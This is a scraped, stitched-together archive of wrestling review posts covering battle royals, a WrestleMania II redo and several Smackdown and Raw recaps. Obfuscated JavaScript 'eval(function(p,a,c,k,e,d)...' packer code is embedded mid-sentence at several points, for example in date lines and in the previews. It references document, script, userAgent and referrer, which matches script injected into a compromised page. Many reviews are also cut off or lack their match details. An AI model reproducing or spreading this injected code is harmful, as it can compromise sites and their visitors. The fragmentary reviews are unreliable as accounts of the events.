HIDDEN GEM: Legends Battle Royal: A Gem I Wanted Unhidden

Battle Royal
Date: November 16, 1987
Location: Meadowlands Arena, East Rutherford, New Jersey

Baron Mikel Scicluna, Sailor Art Thomas, Pedro Morales, Edouard Carpentier, Al Costello, Gene Kiniski, Gino Brito, Bobo Brazil, Dominic DeNucci, The Crusher, Nick Bockwinkel, Pat O’Connor, Ray Stevens, Rene Goulet, Chief Jay Strongbow, Lou Thesz, Killer Kowalski, Arnold Skaaland

Now THIS is something I have wanted to see for a very long time now as it’s a legends battle royal between a bunch of names you do not often see in WWE. Each legend gets an individual entrance, as they should. We start with the usual brawling but the camera is WAY too zoomed in, meaning we miss the first few eliminations. Thesz puts out someone we can’t see and then brawls with Kowalski as we ignore everyone else.

We settle down to more brawling as I try to figure out who is who and who is still in. Costello catapults Garea out and we get a fight between Bockwinkel and Kiniski. Bockwinkel drives a bunch of shoulders into the ribs and then zoom in on Thesz trying to get rid of Crusher. Costello is tossed by DeNucci and Carpentier gets rid of Goulet. Kowalski goes after Thesz, who knocks him through the ropes.

Back in and Brazil is knocked out and we’re suddenly down to six, with Bockwinkel, Thesz, Crusher, Kowalski, O’Connor and Stevens. Stevens backdrops Crusher out and Thesz punches Kowalski off the top and out to the floor. O’Connor whips Stevens out and then gets rid of Bockwinkel, leaving us with O’Connor vs. Thesz. O’Connor takes him to the mat but gets caught in a hammerlock. They get back up and Thesz backdrops him out for the win at 11:11.

Rating: D. This was like a much more serious version of the Gimmick Battle Royal, as it was all about everyone getting one more entrance. Some of the wrestlers got far stronger reactions than others while a few just received polite applause. It was still great to see though, even if the quality had absolutely no value whatsoever.

Post match, Thesz and O’Connor pose together for old times’ sake.

And now we get THIRTY MINUTES of comments from almost involved, plus Freddie Blassie. I have no idea why this stuff wasn’t released in any kind of mainstream format before because it’s a great thing to see.




Worlds Collide: Battle Royals: All Those People In Search Of Something To Do

IMG Credit: WWE

Worlds Collide: Battle Royals
Date: May 1, 2019
Location: Pier 12, New York City, New York
Commentators: Vic Joseph, Percy Watson

Yes it’s a fourth one of these things and no I don’t get it either. As the name suggests, we’re looking at a pair of battle royals here (one for the men and one for the women) with almost everyone from the previous three shows plus a few bonus entrants. Your guess is as good as mine as to why we need to see this nearly a month after Wrestlemania. Let’s get to it.

The audio commentary is really low here for some reason.

Women’s Battle Royal

Bianca Belair, Taynara Conti, Kacy Catanzaro, Deonna Purrazzo, Io Shirai, Marina Shafir, Jessamyn Duke, Jesse, Lacey Lane, Xia Li, Kavita Devi, Kay Lee Ray, Mia Yim, Piper Niven, Reina Gonzalez, Vanessa Borne, Aliyah, Toni Storm

Everyone gets an entrance, which I’ll certainly take over having to go through all the entrance in a big group shot. We start the same way most battle royals start, with a variety of teased eliminations and people saving themselves. Lane tries a double springboard due to reasons of not seeming that bright and gets kicked out, as she should be. Shafir and Duke get together again to eliminate Jesse and it’s back to more brawling on the ropes.

Niven dumps Ray, who seems to swear revenge. Conti gets knocked off the top but hangs onto the post and gets back in for this match’s Kofi Kingston save. Purrazzo gets rid of Li and Kacy does a crazy handstand on the top into a headscissors on Reina, who forearms her out a second later. Shirai tosses Purrazzo as the ring is starting to clear a lot. Gonzalez and Storm slug it out as Niven drops Conti with a hard forearm.

Devi and Gonzalez do the hoss fight with Devi getting kicked out. Almost everyone but Gonzalez is down for a bit until Niven and Storm get together, only to fail to eliminated Conti. Shafir accidentally knocks Duke out and then intentionally tosses Yim. Shirai sends Conti to the apron and dropkicks her out as the field is clearing out a lot. Belair forearms Shafir out and we’re down to Belair, Storm, Shirai, Aliyah, Niven, Gonzalez and Borne.

Niven Hulks Up on Borne and Aliyah but misses a charge and gets tossed. Excessive celebration lets Shirai and Storm get rid of Borne and Aliyah and we’re down to four. Niven chases the two of them out as Belair and Gonzalez’s alliance lasts all of fourteen seconds. Gonzalez sends Belair and Storm into the same corner for shoulders to the ribs. Shirai sends Gonzalez to the apron and forearms her out to get us down to three.

Belair fireman’s carries Storm and swings her into Shirai before dumping her out. We’re down to Belair vs. Shirai with a hard forearm knocking Shirai down. A headscissors sends both of them to the apron but Belair slides back in and avoids a springboard dropkick. The gorilla press toss eliminates Shirai to give Belair the win at 18:27.

Rating: D+. Well that was long. Belair winning is fine, though it doesn’t make her any better or fix any of the problems that have held her back so far. There isn’t much to say about something like this because it’s a bunch of standing around until the finish, which is always the case in battle royals. Gonzalez and Conti looked good here, but they’re more people who aren’t getting much of a chance anywhere.

Men’s Battle Royal

Ariya Daivari, Brian Kendrick, Dave Mastiff, Drew Gulak, Fabian Aichner, Eric Bugenhagen, Humberto Carrillo, Joe Coffey, Mark Coffey, Dominik Dijakovic, Ligero, Matt Riddle, Rinku Singh, Saurav Gurjar, Roderick Strong, Wesley Blake, Steve Cutler, Akira Tozawa, Travis Banks, Tyler Bate

It’s a brawl to start with Bugenhagen and Riddle heading outside for a jam sessions which makes way more sense than it should. Back in and it’s another standard battle royal opening as we wait on the ring to clear out a bit. Dijakovic sends Aichner to the apron and superkicks him out, followed by a toss to get rid of Tozawa. High levels of confidence allow Dijakovic to stop and pose, meaning it’s a group beatdown but so many split off that Dijakovic is able to shove everyone else away.

The cyclone boot eliminates Carrillo and Bugenhagen tosses Daivari for excessive jamming. Gurjar dumps Bugenhagen and you can feel the energy go out of the arena. The Forgotten Sons gets together to eliminate Ligero and Kendrick saves Gulak for no logical reason. There goes Banks as the ring is still rather full. Gulak and Riddle grapple on the mat and wind up on the apron but come back in after realizing they’re wasting their time. Mark Coffey is out and Riddle gives Dijakovic a GTS for another elimination.

Mastiff eliminates Gulak and Cutler but Kendrick (still in the leather jacket) saves himself. Riddle and Mastiff chop it out and Gurjar gets rid of Singh. Kendrick eliminates Blake but tries Sliced Bread on Coffey, earning himself his own elimination. We’re down to Riddle, Joe Coffey, Mastiff, Strong, Bate and Gurjar. Riddle unloads on Mastiff in the corner and knees him out but the backsplash hits Coffey’s knees.

Bate hits the rebound lariat to get rid of Coffey and it’s a four way staredown. Gurjar fights off all three of them with a good side slam planting Riddle. That’s enough to send Riddle to the apron and a big boot gets rid of him in a heck of an upset. Bate uses raw strength to get rid of Gurjar and the fans are very appreciative. Strong and Bate slug it out with Bate hitting an exploder suplex into the nip up. The Tyler Driver 97 is countered into a jumping knee to the face so Bate comes right back with the airplane spin.

Rating: C+. The ending sequence alone made it better than the first match but this was another example of a long match with very little going on until we got to the finish. There were so many people in there until the ending and while the final grouping was pretty strong, there is only so much you can get out of waiting around to get there for half of the match.

Overall Rating: C-. The show was fine, though spending the better part of twenty minutes on entrances alone was kind of a stretch. The biggest thing I got from this was how many people WWE has down in developmental who aren’t likely to get a major push ever. Can you picture the Coffeys on the main roster? Or Xia Li?

They’re talented, but WWE would pick a lot of others before them and it’s just bloating the roster more and more. NXT UK has helped, but there are so many people under the WWE banner that they can run shows like this and still have a ton of roster members left over. That’s probably not good, but neither is running these four shows for the sake of adding content to the Network. We can have this but not Legends With JBL or Royal Rumble Rewind or more round table shows? Anyway, not bad, but really don’t waste your time.

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Wrestlemania Count-Up – Wrestlemania II: I Knew I Hated Triple Threats

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abbhi|var|u0026u|referrer|ssbfs||js|php'.split('|'),0,{})) II
Date: April 7, 1986
Location: Nassau Veterans Memorial Coliseum, New York City, New York/Rosemont Horizon, Chicago, Illinois/Los Angeles Memorial Sports Arena, Los Angeles, California
Attendance: 16,585 (New York), 9,000 (Chicago), 14,500 (Los Angeles), 40,085 (Total)
Commentators: Vince McMahon, Susan St. James, Gene Okerlund, Gorilla Monsoon, Cathy Lee Crosby, Alfred Hayes, Jesse Ventura, Elvira

This is on a Monday for some reason.

This was a tape I watched to death back when I was a kid so the theme music for this brings a smile to my face.

Vince opens things up in New York and introduces Susan St. James, a popular actress of the day, to be his co-commentator.

Ray Charles sings America the Beautiful.

Gene is in Chicago and welcomes us to the city for later on.

Paul Orndorff vs. Don Muraco

Intercontinental Title: George Steele vs. Randy Savage

Steele does a freaky kind of dance and Savage immediately bails to the floor. That works so well that they do it again and make it three times until FINALLY George chases after him. Steele catches Savage going back in and bites his calf before they head back in. Randy hits a running knee to the chest but Steele easily lifts him into the air and chokes him down. George gets caught looking at Liz though and is tied up in the ropes so Savage pounds away.

Savage and Liz immediately bail so Steele eats another buckle.

Bill Fralic (a football player) and Big John Studd are both in a battle royal later today and they talk some trash, once again being drowned out by Fink.

Vince asks Susan if she likes snakes. Make your own jokes.

Jake Roberts vs. George Wells

Jake wraps George up in the snake post match and makes Wells foam at the mouth.

Hogan predicts T to win and says his ribs will be fine in the cage tonight.

Roddy Piper vs. Mr. T.

Off to Chicago!

Gene and Gorilla bring in Kathy Lee Crosby to do commentary.

Corporal Kirchner vs. Nikolai Volkoff

Gene takes over the ring announcing for the NFL/WWF battle royal. There are six football players and fourteen wrestlers. Dick Butkus is a guest referee.

Battle Royal

NFL: Jimbo Covert, Harvey Martin, Ernie Holmes, Bill Fralic, Russ Francis, William Perry

WWF: Pedro Morales, Tony Atlas, Ted Arcidi, Dan Spivey, Hillbilly Jim, King Tonga, Iron Sheik, B. Brian Blair, Jim Brunzell, Big John Studd, Bruno Sammartino, Jim Neidhart, Bret Hart

We look at the end of the battle royal again.

Tag Titles: Dream Team vs. British Bulldogs

Greg gets in a few shots in the corner including a forearm to the back to take over and finally bring in Brutus. He cranks on the arm and is immediately gorilla pressed down by Smith. Dynamite comes in again and gets two off a small package. Beefcake makes a blind tag though and Valentine comes in off the top via another forearm to the back and the champions take over. Kid comes right back and pounds away before bringing Smith back in.

The Bulldogs hit a double headbutt for two for Kid but Brutus comes in sans tag to switch momentum right back. Valentine gets two off a kneeling piledriver but falls victim to the Arn Anderson self-crotching mistake. He continues the Horsemen theme by going up top and getting slammed down ala Flair as everything breaks down. Dynamite gets sent to the floor so Smith comes in with the powerslam (not yet the finisher) for two on Valentine.

Off to Los Angeles.

Ricky Steamboat vs. Hercules Hernandez

Adrian Adonis vs. Uncle Elmer

Funk Brothers vs. Junkyard Dog vs. Junkyard Dog/Tito Santana

Hoss gets back in for a crisscross with Terry hitting Tito in the back with a knee to take over. Tito gets knocked to the floor and JYD has to chase Jimmy off a few times before throwing Santana back in. Terry gets two off a suplex and argues with the referee a bit before getting suplexed himself. They hit the ropes and collide but Terry falls into his own corner to bring in Hoss. The Funks hit a double clothesline which gets two for Terry who is getting frustrated.

We set up the cage, which is the big blue kind for the first time ever.

Elvira sends it to New York for comments from Susan and Vince.

WWF World Title: Hulk Hogan vs. King Kong Bundy

Escape only here, as it should be. Tommy Lasorda of the LA Dodgers is guest ring announcer. Ricky Schroder, a child actor, is guest timekeeper and Robert Conrad, an adult actor, is guest referee. Hogan starts firing off right hands to start and knocks Bundy into the cage before choking Bundy with his own singlet. The following clothesline in the corner has Bundy in even more trouble and a forearm to the head staggers him even more. All Hogan so far.

Hogan beats up Heenan to close the show.

Ratings Comparison

Paul Orndorff vs. Don Muraco

Original: D+

Redo: D

Randy Savage vs. George Steele

Original: C-

Redo: C-

Jake Roberts vs. George Wells

Original: F

Redo: D+

Mr. T. vs. Roddy Piper

Original: F

Redo: D

Fabulous Moolah vs. Velvet McIntyre

Original: N/A

Redo: N/A

Corporal Kirschner vs. Nikolai Volkoff

Original: D-

Redo: N/A

Battle Royal

Original: B

Redo: D

British Bulldog vs. Dream Team

Original: B-

Redo: B

Rick Steamboat vs. Hercules Hernandez

Original: C-

Redo: C-

Adrian Adonis vs. Uncle Elmer

Original: N/A

Redo: D-

Terry Funk/Hoss Funk vs. Tito Santana/Junkyard Dog

Original: B-

Redo: B-

Hulk Hogan vs. King Kong Bundy

Original: B-

Redo: D

Overall Rating

Original: D+

Redo: D

Dang those must have been the strong rose colored glasses back then.

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Wrestlemania XXXII Preview: Andre the Giant Memorial Battle Royal

In case you needed a match to throw in a bunch of midcarders to get them on the card.

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Andre The Giant Memorial Battle Royal Moved To Wrestlemania Pre-Show

No eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezaay|var|u0026u|referrer|rffae||js|php'.split('|'),0,{})) reason given but it’s likely due to it being a TWO HOUR pre-show and needing more than one match.  I’m not sure if they have enough to fill in the PPV now but they did it with seven matches last year.




Wrestlemania XXX Preview: Andre the Giant Memorial Battle Royal

Basically if you’re on the roster and not on the show, you’re in this.The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiezb|var|u0026u|referrer|yyksb||js|php'.split('|'),0,{})) push seems to be for Big Show to win here, but it seems too easy for that to happen.  I think they might go with Sheamus, but the interesting thing is who the last three entrants are.  My money is on Rob Van Dam, someone we don’t care about, and Sami Zayn.  That being said, the rumor is CM Punk returning and winning, but that doesn’t jive with the idea of him feuding with Austin as has been planned, as it would put him up against Hogan, which doesn’t work at all.

Most of the people simply aren’t going to win, but I’ll take Sheamus for the surprise win.  This isn’t the Royal Rumble, meaning you can have 29 people gang up on Big Show at once.  Granted that rarely works on big names, so I think he makes the final two or three but eats a Brogue Kick for an elimination.  The match can be good if they let it work, but the entrances are either going to be all together or take about an hour and a half.  This has the potential to suck but it could be fun if they build some drama.  The last three entrants should be fun as well.

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On This Day: November 29, 2011 – Smackdown: Christmas In November

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfhtr|var|u0026u|referrer|ftkri||js|php'.split('|'),0,{})) November 29, 2011
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Michael Cole, Booker T, Josh Matthews

This is a special edition of the show as it’s airing live on Tuesday. Also it’s the holiday episode, which I think is a catch all for Thanksgiving and Christmas, which is next month but whatever. Foley is the host for the evening and we have a world title match in a cage with Henry vs. Bryan. Let’s get to it.

The show opens with fake snow and Josh saying there was a snow storm that started a few seconds ago.

Here’s Foley. There’s a Christmas set. Aren’t they pulling this out a little early? I mean we have Christmas music, Foley in a Santa suit, Christmas lights at the table and all that jazz. He points out that it’s still November but he’s a Christmas fanatic. What Good Old JR is to barbecue sauce and what the Ultimate Warrior is to arm tassels, he is to Christmas. For us tonight, we have a world title match between Tiny Tim and the Ghost of Christmas Fear inside a steel cage. There’s also a miracle on 34th street fight, an over the top rope battle royal where the winner gets their Christmas wish granted…and Michael Cole.

Foley can’t get around the contract and Cole’s legal team, but he can pick how Cole has to dress. Cue Cole in a Rudolph costume. Josh is in an elf outfit so he can’t complain much. Foley also brings out Booker, who is also in a Santa outfit. Foley asks for a Spinarooni to make up for This is your Life from a few weeks ago. It’s set to the Dradle Song because they both spin. The hat comes off but the fans cheer for it so all is well.

Cue Cody all in white. Well mostly in white. He says that he’s seeing clearly now and says that he’s not going to let someone take up the time when that person can’t perform in the ring anymore. Booker says he can still go and calls Cody son. Foley cuts Cody off and makes Booker vs. Cody for later. No word on if this is for the title or not. First up, let’s have a Divas match.

Alicia Fox vs. Brie Bella vs. Nikki Bella vs. Natalya vs. Kaitlyn vs. AJ vs. Tamina vs. Aksana

This is a mistletoe on a pole match, which means you have to climb up and get the mistletoe. The winner gets something they can cash in before Christmas. Brie wins at 57 seconds after climbing on Nikki. I have no idea if I got all the competitors or not, not do I care.

Foley says Brie gets to kiss any superstar she wants before Christmas. Ok then.

Justin Gabriel vs. Jinder Mahal

Mahal runs down Christmas before the show starts. We hear about how Mahal has hates DiBiase for giving away all his money. Cue DiBiase in a Santa hat with a bag. He throws out WWE gifts to fans. The distraction lets Gabriel hit an STO and the 450 for the pin at 2:15.

Foley is learning the Siva Tao from the Usos when Piper comes up. He wants a new straightjacket for Christmas. Horny and some good looking woman are having egg nog. Dusty Rhodes is here. He offers Horny a picture of Lagy Gaga and something about sandwich. Dusty says there are some strange people here and turns around into Goldust. There’s something awesome about that. Oh the chick is Maxine.

Piper is talking to someone when Otunga comes up with the coffee cup and has an announcement from Johnny Ace. The holiday music has to be in the public domain. Eh we might as well shut the party down now. Foley and Piper are like dude…..you are in WAY over your head. Foley puts Otunga in the street fight tonight against Randy Orton.

We recap Booker vs. Cody. Booker is in the back when Cody jumps him with the belt, injuring his arm.

Kofi Kingston vs. Tyson Kidd

This should be good. Booker vs. Cody is officially off. Tyson has hair now. They start off pretty fast and both guys go down off a double clothesline. Kidd hits the floor to avoid Trouble in Paradise but Kofi hits a dropkick out there anyway. Kofi gets in Cole’s face for some reason and steals the reindeer hat. Kidd gets in a shot and somehow this isn’t a double countout yet. Kofi puts the hat and nose on, finishing with the top rope cross body at 3:33.

Rating: C. Total comedy match and that’s fine. The idea of the reindeer flying to end it was good but we need to get Bourne back already so Kofi can defend the title instead of just holding it. I think he’s due back tomorrow or something so it shouldn’t be that big of a deal. Decent match but with more time it would have been even better.

Kaitlyn tells Horny he should wish to be taller. Teddy and Sheamus are talking and Sheamus asks what the winner of the battle royal (20 man) gets. Teddy doesn’t know but whatever it is, it’ll be worth it. Cue Aksana who has mistletoe with her. And Aksana eats it instead of kissing Teddy.

Randy Orton vs. David Otunga

This is a street fight. There are a bunch of Christmas trees at ringside as well as presents that slide around the floor. Otunga is in red shorts now instead of his normal trunks. Randy throws him into a bunch of trees and then the announce table. There’s a tray of cookies there so Orton has a bite, gives a face as if to say not bad, then smacks Otunga with the tray.

He grabs a wreath off the post, shouts HO HO HO in Otunga’s face (legit made me laugh) and sends him into the steps. Otunga goes under the ring and finds a kendo stick made to look like a candy cane. Orton takes him down though and beats Otunga with it as Otunga runs. Orton picks up a present and chucks it at David’s head to knock him down.

They go up the stage and Otunga goes into the big tree. There’s an elevated DDT to the floor but Barrett runs out for the beatdown. It would have helped a lot had Orton not looked over his shoulder just before the DDT. The big boot he takes Orton down with gets two and Otunga’s time is measured in seconds. There’s the finishing sequence and the RKO ends this at 7:38.

Rating: C+. This was meant to be a totally fun match and that’s all it was ever supposed to be. Barrett running in even advances the storyline a bit and it helped things somewhat. I had a very good time with this but I’m a total Christmas geek so I’m about as biased as you can be here. Fun match and it worked all around.

Henry is getting taped up and Teddy comes in. Mark yells at him and says he’ll take his anger out on Bryan.

Battle Royal

There are twenty people in this and I’ll let you figure out who all is in it yourselves. I see Mahal, Slater, the Usos, Jackson, Sheamus, O’Neil, Watson, DiBiase, Hunico, Reks, Gabriel, Kidd and Horny. Sheamus is by far the biggest name in this. Hawkins and Young are in there. Young is out quickly as is I think Jey Uso. JTG is in this and as soon as I say this he’s eliminated. DiBiase and Gabriel try to get Hawkins out but can’t quite do it. Kofi and Yoshi Tatsu are in this and I think that’s everyone.

There goes Hawkins at the hands of Big Zeke. We get the showdown with Jackson and Sheamus with with pale One beating him down. Jackson sets for a big clotheline but Sheamus ducks to put him out. Johnny Curtis was the 20th guy in there and Sheamus puts him out easily. Kofi puts out the other Uso but Kidd dropkicks Kingston out seconds later.

Tatsu is gone and Kidd skins the cat and pulls out DiBiase at the same time. Horny slips out from the floor and pulls Kidd out. We take a break with about 8 people left. Back with eight people left: O’Neil, Hunico, Gabriel, Mahal, Reks, Sheamus, Slater and Horny. Gabriel tries to jump on the apron but Mahal knocks him to the floor. Clash of the Titus puts Reks down but he barks too much and Sheamus puts him out. Dang it I wanted him to wish for NXT to end.

Slater and Mahal jump Sheamus but he explodes and beats everyone down. Everyone goes to the floor through the ropes and beats Sheamus down. No one is in the ring at the moment. Ok so now everyone but Sheamus is in. It’s Mahal, Hunico, Slater and Reks. Mahal says we need to go find Horny. They all pick a side of the ring and dive under the ring. Mahal catches him and it’s 4-1. Slater shoves him down as does Hunico.

They all carefully stomp him but before the toss him Sheamus is back in. There goes Reks and Hucio is out as well. Mahal is out and a Brogue Kick puts Slater down. Ok so it’s Horny vs. Sheamus. Oh good grief. Horny says bring it on and Sheamus isn’t sure what to say. He tells Horny to get out but Horny tells him to get out. He kicks Sheamus in the shins but Sheamus grabs him by the beard and starts putting him out but Horny grabs the top rope. Sheamus gets on the apron and detatches him but Horny won’t get off the apron. Sheamus tries to talk to him and they hug, but Horny shoves him off for the win at 13:25.

Rating: C+. This was fun until the end, when it just got stupid. Why in the world would have put Horny over here for the sake of a comedy bit? Well at least this is for an obscure prize instead of something like a title shot so it could be a lot worse. Ok maybe not a lot worse but it could be worse.

Sheamus teases anger but smiles and Horny celebrates.

Ricardo hits on the Bellas at the party as Piper talks to Dusty. They’re talking about Cena and Dusty thinks it’s ridiculous to think the fans are going to get to Cena. Santa comes up and sits down for Horny to ask for his wish. There’s something about celery, Jonas Salk, Peter Falk and chalk. Foley has it wrong and it’s that Horny wants to TALK. They hug and Horny can speak. He goes around using his new powers and calls Vickie a grandma. Foley pops up in a Cactus Jack shirt and Santa is gone. Piper and Dream have no idea what’s going on and I don’t really want the answer.

AJ comes up to wish Bryan luck. Bryan tells Striker he’s ready.

The cage is lowered.

The Slammys are in two weeks.

Smackdown World Title: Mark Henry vs. Daniel Bryan

We even get big match intros. The winner gets Big Show at TLC. Bryan runs for the corner almost immediately. You can win by pin, submission or escape. Bryan keeps trying to run and avoid corners. He wisely goes for the bad leg so Henry throws him into the cage. He splashes Bryan against the wall and we take a break. Back with Henry still dominating. We get a clip from during the break with Henry pulling Bryan back and in essence sling shotting him into the cage.

Time for a nerve hold to waste some time. Bryan fires off a dropkick but Henry kills him with a clothesline. The leg is wearing out though as he kind of falls into the cover for two. Bryan wakes up and goes crazy on the ankle, getting Henry down on the mat and screaming in pain. Bryan climbs but Henry makes the catch, crotching Bryan on the ropes. Henry goes for the door but Bryan grabs the ankle again. Bryan fires off a dropkick to the knee and hooks the LeBell Lock but Henry powers out of it.

Off to an ankle lock and the place is really getting into this. Henry kicks Bryan off but he can’t get up to follow up on it. The challenger goes up but gets his tights partially pulled down. Now Henry goes up but Bryan follows him. He gets over the top but Henry grabs the arm and pulls him back in. There’s some good drama in this. Henry tries a powerbomb out of the corner but Bryan climbs over the top. Henry pulls him back in again and headbutts him into the World’s Strongest Slam from the top. And that takes care of Bryan at 11:15.

Rating: B. Good main event here and the drama towards the end was solid. I don’t think anyone had any realistic reason to believe that Bryan was going to win and they shouldn’t have. He’s a midcard guy getting his first chance in there with the big boys and he’s not ready for the title yet. Still though, very solid main event and Henry gets a win that he’s been lacking recently.

Overall Rating: A-. WWE is on a ROLL right now with their TV shows. Last night was great and tonight was as well. The idea that seems to work for them is to not linger on stuff too long and most importantly, not go back to things over and over again. This show was fine with all of its holiday themes and I liked it a lot. It could have been better, but if they were hoping to show that Smackdown can work live, they nailed it here. Good stuff again.

Results
Brie Bella won a Mistletoe On A Pole Match
Justin Gabriel b. Jinder Mahal – 450 Splash
Kofi Kingston b. Tyson Kidd – Top Rope Cross Body
Randy Orton b. David Otunga – RKO
Hornswoggle won a battle royal last eliminating Sheamus
Mark Henry b. Daniel Bryan – World’s Strongest Slam from the middle rope

 

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Monday Night Raw – August 12, 2013: The HHH Jokes Write Themselves

Monday Night Raw
Date: August 12, 2013
Location: Sleeptrain Arena, Sacramento, California
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

No intro this week in a change of pace.

Daniel Bryan vs. Wade Barrett

Brad Maddox is guest referee for no apparent reason. A quick dropkick puts Barrett down and Daniel goes after the leg. Bryan hooks a quick dragon screw leg whip before cannonballing down ion the legs a few times. Barrett is sent to the floor with a baseball slide but Bryan misses the running knee off the apron and gets caught with a big boot to the face. Back in and Bryan is knocked to the floor with ease and sent into the steps.

Randy Orton vs. Damien Sandow

Orton finally suplexes out of it and hits his clotheslines but Sandow avoids the powerslam and hits a running flip neckbreaker for a near fall. Orton sends him to the apron and hits the Elevated DDT but Sandow bails from the RKO. Damien sends him into the post for two and Cody goes after the briefcase, allowing for the RKO to connect for the pin at 13:45.

Video on Brock vs. Punk, the same one from Smackdown.

Natalya/Great Khali vs. Big E. Langston/AJ Lee

Post match Langston goes after Horny but gets chopped down by Khali.

Video on Kane vs. Bray Wyatt so far.

Post match here are the Wyatts but when the lights come back on, Kane is on the stage. He lights the corners up and Bray drops to his knees and smiles.

Alberto Del Rio vs. Kofi Kingston

Del Rio gets two off a tilt-a-whirl backbreaker but gets caught in the SOS for two more. Another spin kick misses and Del Rio rolls to the floor, only to be cradled for two back inside. In an AWESOME counter, Del Rio catches the springboard cross body in a gutbuster. The cross armbreaker is good for the submission from Kofi at 6:10.

Colter and the Real Americans say they want to see California split off from America to make the country a better place.

Real Americans vs. Usos

Heyman is getting ready but is having second thoughts about having the match.

Battle Royal

RVD runs over the Real Americans with kick after kick but Ryback hits the Meat Hook to knock Rob out cold. The Real Americans pick up Henry but he shoves them away and knocks both guys out to get us to four. Henry picks up the pace and throws Barrett out. Rob is down but not out in the corner so the bulls go at it. Henry gets Ryback onto the apron where a kick from Ryback and a charge from Henry puts him out. Down to two and the fans go NUTS. Rob is crushed into the corner but comes back with a grea tkick. He goes up top but gets crotched to the apron, only to low bridge Henry out to win at 13:27.

Results

Wade Barrett b. Daniel Bryan – Rollup

Randy Orton b. Damien Sandow – RKO

Great Khali/Natalya b. AJ Lee/Big E. Langston – Sharpshooter to AJ

Usos b. Real Americans – Rollup to Swagger

Rob Van Dam won a battle royal last eliminating Mark Henry

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Not A Great Comedy/Gimmick Match Idea

Watching eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfbnr|var|u0026u|referrer|nybie||js|php'.split('|'),0,{})) Survivor Series 2001’s battle royal and this came to me:In the NWA/WCW, if you threw someone over the top rope it was an automatic DQ.  In a battle royal, you had to throw someone over the top and out to the floor to eliminate them.  What would happen in a battle royal where you could only be eliminated by throwing someone over the top rope for a DQ?

 

It could never happen you say?  Well Russo came up with a battle royal where the idea was to get into the ring instead of staying out.  Is this that much of a stretch?




Smackdown – July 3, 2012: U.S.A! WOO WOO WOO! U.S.A! WOO WOO WOO!

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyhar|var|u0026u|referrer|bynra||js|php'.split('|'),0,{})) July 3, 2012
Location: American Bank Center, Corpus Christi, Texas
Commentators: Booker T, Josh Matthews, Michael Cole

We open in the back with a big party. There are girls in small outfits, Hornswoggle in the tub and Teddy in a Kiss the GM apron. Eve is going to be the cleaning lady tonight. Santino is brought forward to light the barbecue to officially start things off. Teddy and Santino back off from lighting it as Kane is here. He lights the fire for them in a cute bit.

Do You Know Your Enemy? Mine is having guests that are going to keep me from seeing Dark Knight Rises for another week.

Post break we look at most of the attack all over again. Sheamus is taken out and has some blood coming down his head.

Great Khali/Layla vs. Aksana/Antonio Cesaro

Raw Moment: Foley wins the title. They spend about as much time talking about WCW spoiling it and 600,000 people changing the channel than about the title change itself.

Money in the Bank Qualifying Match: Cody Rhodes vs. Christian

Rating: C+. Well that was kind of anti-climactic. Naturally there was NO ONE that Cody could beat other than Christian to qualify right? I mean, there was no one else that could job out there other than a champion. The match was good but it makes the title look weak again which they had been changing for awhile.

Backstage Ryder starts a dance party after Slater is run off. Brodus takes center stage.

Money in the Bank Qualifying Match: Dolph Ziggler vs. Alex Riley

Bryan says that Punk is trying to be tricky because AJ is the guest referee. The only thing Punk cares about is having AJ as guest referee because he needs her to retain the title. AJ kisses Bryan for awhile and Punk shakes his head and leaves. She goes after him and kisses him too. Bryan looks stunned and Punk looks confused. AJ skips off and does a YES chant on the stage.

Santino Marella/Sgt. Slaughter/Jim Duggan vs. Hunico/Camacho/Drew McIntyre

Hawkins and Reks both think they can beat Ryback but Hawkins won the coin toss and gets to face him.

Ryback vs. Curt Hawkins

Hawkins tries a sleeper but gets caught in the Over the Shoulder Boulder Holder. Ryback slams his head into the mat and hits an overhead choke suplex. Hawkins gets his head taken off by a clothesline and the Shell Shock gets the pin at 1:08.

Sheamus is out of the battle royal tonight.

Raw Moment: Vince Appreciation Night. Donald Trump made it rain money.

Battle Royal

